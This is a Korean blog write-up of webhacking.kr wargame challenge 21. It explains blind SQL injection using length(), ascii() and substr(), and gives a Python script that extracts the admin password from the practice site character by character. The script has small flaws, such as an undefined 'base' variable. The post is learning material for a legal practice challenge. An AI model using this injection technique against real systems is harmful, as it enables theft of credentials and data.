WarGame/WebHacking.kr

webhacking.kr 21번

DoR@Hee 2019. 2. 15. 18:05


문제 첫화면 먼가 결과에 따라서 true , false를 출력하는 화면이다.



1과 2를 입력했을땐 true 3이상 숫자를 입력했을 땐 false



또한 input hidden으로 id, pw값도 같이 보내고있다. 




먼저 id의 길이를 알아보기 위해, length(id)를 이용해서 id의 길이를 알아보기로했다. 일단 1은 false



노가다로 5를 입력했더니 True



두번째 no =2 의 길이도 알아보기로 했다. 역시 1은 false



5를 입력했을 시 True 5글자면 admin?? 이라고 예상했다. 여기까지 알아본 정보

 no

id 

pw 

 1

 ? 5자리

 2

 ? 5자리






이어서 pw의 길이를 알아보기로 했다 역시 1은 false




no= 1의 pw 의 길이는 5자리


역시 no=2 pw의 길이 1는 false




19 true



여기까지 정리된 정보


no 

id 

pw 

 1

 ? 5자리

  ? 5자리 

 2

 ? 5자리 

  ? 19자리




SQL - ascii = 숫자를 아스키코드로 변환할때 사용했다.

SQL - substr = substr(문자열, 시작위치, 나타낼 개수)로 사용했다


즉 ascii(substr(id,1,1))=97은


id칼럼에 첫번째 값이 a인지 확인하는 구문이다.


근데 false인걸로 보아 no =1 의 id값은 admin이 아니다?




혹시 몰라 no =2을 확인해보니 a는 true




ascii 100 = d d도 정답


즉 no = 2 id값은 admin


 no

id 

pw 

 1

 ? 5자리

 ? 5자리 

 2

 admin

 ? 19자리



pw를 알아내는 방법은 엄청난 노가다가 예상되기때문에 파이썬 코드를 사용했으며, 파이썬에대해서 자세히 공부한적은 없기때문에 

구글링을 했다.

(파이썬 공부가 필요할거같다.)

from http import client
  
conn = client.HTTPConnection('webhacking.kr',80)
headers = {'Cookie':'PHPSESSID=본인의 세션아이디'} # 풀이자 본인의 세션 값을 입력하면 됨
  
tryList=[]
awsList=[]
  
  
for i in range(97,123): # 아스키 코드 값(영문 소문자) 기반으로 문자열을 정리한다.
    tryList.append(chr(i))
      
for i in range(1,20): # id의 문자열이 20개이므로 20번 반복해 준다.
    for w in tryList:
    
        url="2+and+ascii%28substr%28pw%2c"+str(i)+"%2c1%29%29%3d"+hex(ord(w))+""
 
        # print(base+url)
 
        conn.request('PUT', base+url,'',headers)
        res = conn.getresponse()
        resData=res.read()  # 가져온 페이지의 데이터를 읽는다.
        strRes = str(resData.decode()) # 가져온 페이지의 데이터를 문자열로 형변환한다.
         
        # print(strRes)
 
        n = strRes.find("True") # 찾은 문자열에 해당하는 인덱스가 담긴다.
         
        if(n != -1) : # 해당 문자열을 찾았을 경우 (-1은 찾지 못한 경우를 말함)
            print("i="+str(i)+" pw="+hex(ord(w)) +" " + w)
            awsList.append(w)
            print(str(awsList))
            break
         
 
 
print("정답은"+str(awsList)+"입니다.")
conn.close()



출처: https://lidron.tistory.com/95 [이프이푸이푸]